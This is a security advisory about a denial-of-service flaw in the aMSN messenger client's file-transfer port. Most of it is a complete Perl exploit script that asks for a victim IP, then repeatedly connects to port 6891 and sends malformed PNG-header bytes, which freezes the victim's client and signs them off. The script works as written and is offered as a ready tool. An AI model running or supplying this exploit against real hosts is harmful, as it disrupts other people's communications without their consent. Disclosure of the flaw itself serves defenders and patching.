aMSN Messenger DoS (Send File)

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Subjects of Interest:
Vulnerability Management
SQL Injection
Buffer Overflows
Active Network Scanning
Fuzzing
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aMSN is "a free open source MSN Messenger clone". A vulnerability in aMSN allows remote attackers to cause the client to no longer respond to legitimate requests.

Credit:
The information has been provided by Braulio Miguel Suarez Urquijo.

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The bug consists when the attacker sends a file via AMSN, it opens port to send and receive the file, the port that usually opens is the 6891 (can be random). The following exploit will freeze victim's client and sign him off.

Exploit:
#!/usr/bin/perl
use IO::Socket;

$x = 0;
print q(
**************************************
* AMSN REMOTE DOS XPL *
* BY *
* Red-Point *
* red-point@odiameporserelite.org *
**************************************
);

print q(Victim IP: );
$hos = <STDIN>;
chop ($hos);

print q( );
$type = seC0de;
chop ($type);

if($type == seC0de){
while($x != 9999999){

  $postit = "";
  $lrg = length $postit;
  my $sock = new IO::Socket::INET (
                                 PeerAddr => "$hos",
                                 PeerPort => "6891",
                                 Proto => "tcp",
                                );

  die "\nEl host esta fuera de servicio o no estas conectado a internet $!\n" unless $sock;

  print $sock "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D".
    "\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00".
    "\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44".
    "\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47".
    "\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00".
    "\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48".
    "\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E".
    "\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A".
    "\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49".
    "\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A".
    "\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D".
    "\x49\x48\x44\x52";
  close($sock);
  syswrite STDOUT, "|";
  $x++;
}
}
else{
        die " \n";
}

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